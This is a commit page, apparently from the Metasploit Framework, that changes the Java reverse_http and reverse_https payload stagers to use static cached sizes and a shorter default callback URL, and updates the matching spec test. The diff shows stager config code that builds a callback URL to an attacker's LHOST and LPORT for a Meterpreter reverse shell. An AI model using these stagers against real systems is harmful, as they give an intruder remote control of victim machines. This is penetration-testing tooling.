Skip to content

Commit

Permalink
Revert Java back to static size for cache purposes (less cpu usage on…
Browse files Browse the repository at this point in the history
… startup)
  • Loading branch information
HD Moore committed Mar 18, 2015
1 parent 33bbf7c commit 346b1d5
Show file tree
Hide file tree
Showing 3 changed files with 22 additions and 6 deletions.
12 changes: 10 additions & 2 deletions modules/payloads/stagers/java/reverse_http.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@

module Metasploit3

CachedSize = :dynamic
CachedSize = 5499

include Msf::Payload::Stager
include Msf::Payload::Java
Expand Down Expand Up @@ -40,13 +40,21 @@ def initialize(info = {})
end

def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)

# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end

spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
c << "URL=http://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/"
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ,30+rand(256-30))
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
c << "\n"

c
Expand Down
12 changes: 10 additions & 2 deletions modules/payloads/stagers/java/reverse_https.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@

module Metasploit3

CachedSize = :dynamic
CachedSize = 6307

include Msf::Payload::Stager
include Msf::Payload::Java
Expand Down Expand Up @@ -42,13 +42,21 @@ def initialize(info = {})
end

def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)

# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end

spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
c << "URL=https://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/"
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ,30+rand(256-30))
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
c << "\n"

c
Expand Down
4 changes: 2 additions & 2 deletions spec/modules/payloads_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -885,7 +885,7 @@
'stagers/java/reverse_http',
'stages/java/meterpreter'
],
dynamic_size: true,
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'java/meterpreter/reverse_http'
end
Expand All @@ -896,7 +896,7 @@
'stagers/java/reverse_https',
'stages/java/meterpreter'
],
dynamic_size: true,
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'java/meterpreter/reverse_https'
end
Expand Down

0 comments on commit 346b1d5

Please sign in to comment.